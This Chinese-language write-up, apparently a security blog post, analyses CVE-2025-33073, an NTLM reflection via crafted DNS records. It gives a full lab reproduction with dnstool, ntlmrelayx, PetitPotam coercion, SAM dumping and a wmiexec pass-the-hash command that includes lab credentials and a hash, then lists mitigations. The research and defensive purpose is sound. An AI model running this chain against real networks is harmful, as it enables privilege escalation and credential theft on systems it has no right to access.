由Kerberos Reflect来的灵感,通过创建一个指向中继机器的spn,利用特殊的spn格式重新实现NTLM Reflect
感觉文章内说的一句话真的非常好:
some researches demonstrate that bypassing mitigations is just a matter of digging into what the mitigation actually does.
一些研究表明,绕过缓解措施其实只是深入研究缓解措施实际作用的问题。
NTLM本地验证 + Kerberos 反射 = CVE-2025-33073
漏洞分析
在NTLM认证中存在着一种 NTLM 本地验证 的特殊情况,服务器在 NTLM_CHALLENGE 消息中设置“Negotiate Local Call” 标志后,客户端(与服务器同一机器)会将令牌直接插入服务器上下文,同时在 Reserved 字段中插入上下文 ID,且整个过程在lsass.exe进程内完成。
当我们直接用IP进行中继的时候, Reserved 字段为NULL,本地验证未启用,此时Reflect会失败


当我们添加了dns用域名进行中继的时候

Reserved 字段被设置,认证流程发生改变,服务器将根据 NTLM_NEGOTIATE 消息中的两个字段做出决定 :工作站名称和域。而特殊DNS记录解析后,目标名称的处理结果与机器名匹配,从而触发本地认证流程,Reflect攻击成功。
可以看到在我们 NTLM_NEGOTIATE 里面包含了我们正确的工作站名称和域

说明客户端将 DNS 记录 adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
最终等效于adcs,并提示服务器应考虑 NTLM 本地身份验证
漏洞复现
注意,一切的前提是,机器不需要SMB签名
我们这里以adcs为例子,如果想以域控为目标需要关闭域控的smb签名
实验环境
攻击(中继)机器:10.10.0.143
adcs机器:10.10.0.134
域控:10.10.0.129
因为涉及到dns和域名,所以需要修改本地hosts文件
创建dns记录
我们创建一条指向攻击机器的dns解析记录,创建的值为目标主机名+1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA
1 | └─# python3 dnstool.py 10.10.0.129 -u 'esg-red.local\jack' -p ADjk6666 -dc-ip 10.10.0.129 -a add -r adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 10.10.0.143 -a modify |

等待一段时间等dns解析记录刷新,本地环境可以用下面的命令刷新
1 | ipconfig /flushdns |
运行中继脚本
开启ntlmrelayx进行中继
1 | ntlmrelayx.py -t adcs.esg-red.local -smb2support |

强制认证
我们这里利用PetitPotam.py来进行强制认证
1 | python PetitPotam.py -u jack -p ADjk6666 -d esg-red.local adcs1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA adcs.esg-red.local |

最终ntlmrelayx成功收到认证并Reflect回adcs获取了sam文件

使用wmiexec成功连接
1 | wmiexec.py esg-red.local/administrator@10.10.0.134 -hashes :05c8bbcf5529a77e495a98b522f36e91 |

修复方案:
- 打微软补丁
- 强制域内机器SMB签名
参考文档: